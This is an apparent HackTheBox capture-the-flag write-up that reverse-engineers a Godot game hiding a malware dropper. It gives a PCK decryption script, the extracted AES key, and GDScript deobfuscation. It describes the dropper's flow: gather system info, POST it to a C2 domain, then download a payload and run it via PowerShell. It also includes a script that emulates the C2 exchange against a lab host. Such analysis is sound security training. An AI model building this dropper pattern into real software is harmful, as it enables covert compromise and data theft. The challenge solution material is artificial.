rev_gameloader
rev_gameloader
Platform: HackTheBox | Category: Reverse | Difficulty: Medium Date: 2026-03-15 | Status: Solved
Description
Despite having an updated antivirus, my computer was compromised after running a game. Investigate the game and uncover the two-part flag.
Solution Approach
Despite having an updated antivirus, my computer was compromised after running a game.
Techniques: godot pck decryption, aes key extraction, gdscript deobfuscation, c2 emulation, http header inspection.
Steps
Analysis
Initial Reconnaissance
Downloaded the challenge zip (password: hackthebox). Inside: a Godot Engine game with two files:
Platformer 2D.exe— PE32+ x86-64 Godot Engine binary (44MB)Platformer 2D.pck— Godot PCK resource file (2.4MB), encrypted (AES-256-CFB, Godot 4.1.1, 126 files)
PCK Encryption Analysis
The PCK file had encryption flag set (flags=0x1). Studied the Godot 4.1.1 source code (file_access_pack.cpp and file_access_encrypted.cpp) to understand the exact encryption format:
- Header (96 bytes) is unencrypted
- File count (4 bytes) is unencrypted (126 files)
- File directory is encrypted using
FileAccessEncryptedformat (no magic): 16 bytes MD5 hash + 8 bytes length + 16 bytes IV + AES-256-CFB encrypted data - Each file's content is also individually encrypted in the same format
AES-256 Key Extraction
The AES-256 key was found in the EXE's .data section using strings and radare2 analysis:
- Key:
f2f44f0aaa282c6b66065b1ca437abae05e20a55a0f6b2fd85f5b90576f0c88f
Malicious GDScript Analysis
Found malicious code in player.gd (7530 bytes). The script was heavily obfuscated with dozens of intermediate variables containing integer arrays that represent character codes, which are then joined and base64-decoded.
Key decoded values:
- target_url:
http://g4m3l0ad3r-network.htb(C2 server domain) - ioqw:
p47l0ad_binary(download path) - loap:
REDACTED}(flag part 2, used as input to MD5 hash) - aklq+paic: Cookie value for authentication
The malware behavior:
- Collects system info (OS, CPU, locale, user directory)
- POSTs JSON to
http://g4m3l0ad3r-network.htb/enum - On success, downloads payload from
/p47l0ad_binarywith a specific Cookie header - Saves as
new_level_mod.exeand executes it via PowerShell with MD5 hash ofloapas argument
Cookie Authentication Trick
The cookie was constructed as "".join(aklq+paic) in GDScript. Critical insight: GDScript's "".join() on an array of integers converts each integer to its string representation (not chr()). So [57, 151, 53, 31, 99, 105, ...] becomes "5715531991054911790122821167750119119898781122901228211677501191119".
Solution
Step 1: Decrypt PCK File
#!/usr/bin/env python3
from Crypto.Cipher import AES
import hashlib
import struct
KEY_HEX = "f2f44f0aaa282c6b66065b1ca437abae05e20a55a0f6b2fd85f5b90576f0c88f"
KEY = bytes.fromhex(KEY_HEX)
def decrypt_fae_block(data: bytes) -> bytes:
"""Decrypt FileAccessEncrypted block (no magic header)"""
md5_hash = data[0:16]
length = struct.unpack('<Q', data[16:24])[0]
iv = data[24:40]
encrypted = data[40:]
cipher = AES.new(KEY, AES.MODE_CFB, iv=iv, segment_size=128)
decrypted = cipher.decrypt(encrypted)
# Verify MD5
if hashlib.md5(decrypted[:length]).digest() != md5_hash:
raise ValueError("MD5 mismatch")
return decrypted[:length]
Step 2: Deobfuscate GDScript
#!/usr/bin/env python3
import base64
jkoq = [97, 72, 82, 48, 99, 68, 111, 118, 76, 50, 99, 48, 98, 84, 78, 115,
77, 71, 70, 107, 77, 51, 73, 116, 98, 109, 86, 48, 100, 50, 57, 121,
97, 121, 53, 111, 100, 71, 73, 61]
target_url = base64.b64decode("".join(chr(c) for c in jkoq)).decode()
loap = [71, 68, 95, 77, 64, 108, 119, 52, 114, 51, 95, 80, 67, 66, 50, 57, 53, 52, 51, 125]
flag_part2 = "".join(chr(c) for c in loap)
Step 3: Interact with C2 Server
#!/usr/bin/env python3
import requests
HOST = "154.57.164.77:31864"
headers = {"Host": "g4m3l0ad3r-network.htb"}
enum_data = {"os": "Windows", "cpu": "x86_64", "locale": "en_US", "user_dir": "C:/Users/victim"}
r = requests.post(f"http://{HOST}/enum", json=enum_data, headers=headers)
print(r.json()) # {"status":"success"}
cookie_ints = [57, 151, 53, 31, 99, 105, ...] # from aklq+paic
cookie_value = "".join(str(i) for i in cookie_ints)
headers["Cookie"] = f"auth={cookie_value}"
r = requests.get(f"http://{HOST}/p47l0ad_binary", headers=headers)
print(r.headers.get("X-Half-Flag")) # HTB{REDACTED}`
## Flag
HTB{REDACTED}
## Lessons Learned
1. Godot Pck Decryption
2. Aes Key Extraction
3. Gdscript Deobfuscation
4. C2 Emulation
5. Http Header Inspection